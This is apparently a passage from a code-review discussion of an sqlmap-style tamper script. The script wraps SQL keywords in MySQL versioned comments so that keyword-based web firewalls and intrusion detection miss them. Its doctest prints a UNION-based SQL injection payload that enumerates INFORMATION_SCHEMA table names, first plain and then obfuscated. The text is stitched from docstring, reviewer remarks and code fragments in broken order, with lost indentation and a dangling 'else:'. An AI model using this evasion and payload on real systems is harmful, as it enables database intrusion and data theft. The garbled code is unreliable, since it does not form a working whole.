Replaces common SQL keywords with MySQL versioned comments (e.g., 'SELECT' becomes '/*!50000SELECT*/').

This technique is useful for bypassing simple keyword-based firewalls and
intrusion detection systems that don't parse MySQL's versioned comment syntax.
The '50000' indicates that the enclosed query should only be executed by MySQL
versions 5.0.0 and above.

Requirement:
* MySQL >= 5.0.0

Notes:
* This tamper script is designed to be quite aggressive and will comment
many different keywords.

>>> tamper("1 AND 1=1 UNION ALL SELECT 1,GROUP_CONCAT(table_name),3 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()")
'1 AND 1=1 /*!50000UNION*/ /*!50000ALL*/ /*!50000SELECT*/ 1,/*!50000GROUP_CONCAT*/(/*!50000table_name*/),3 /*!50000FROM*/ /*!50000INFORMATION_SCHEMA.TABLES*/ /*!50000WHERE*/ /*!50000table_schema*/=/*!50000database()*/'

why sorting?


for keyword in sorted_keywords:
# Use a regular expression with word boundaries (\b) to avoid replacing
# keywords that are part of other words (e.g., 'IN' in 'INFORMATION_SCHEMA').
# We handle functions with parentheses separately to avoid issues with word boundaries.

can simplify like

ret_val = re.sub(r"(?i)\b%s\b" % re.escape(keyword), keywords[keyword], ret_val)

you are always escaping, or add escaped strings for substitution which is faster

Done. Please review. :)

# For functions, we need to escape the parentheses for regex
regex_keyword = re.escape(keyword)
ret_val = re.sub(r"(?i)\b%s\b" % regex_keyword, keywords[keyword], ret_val)
else:
# For other keywords, use word boundaries
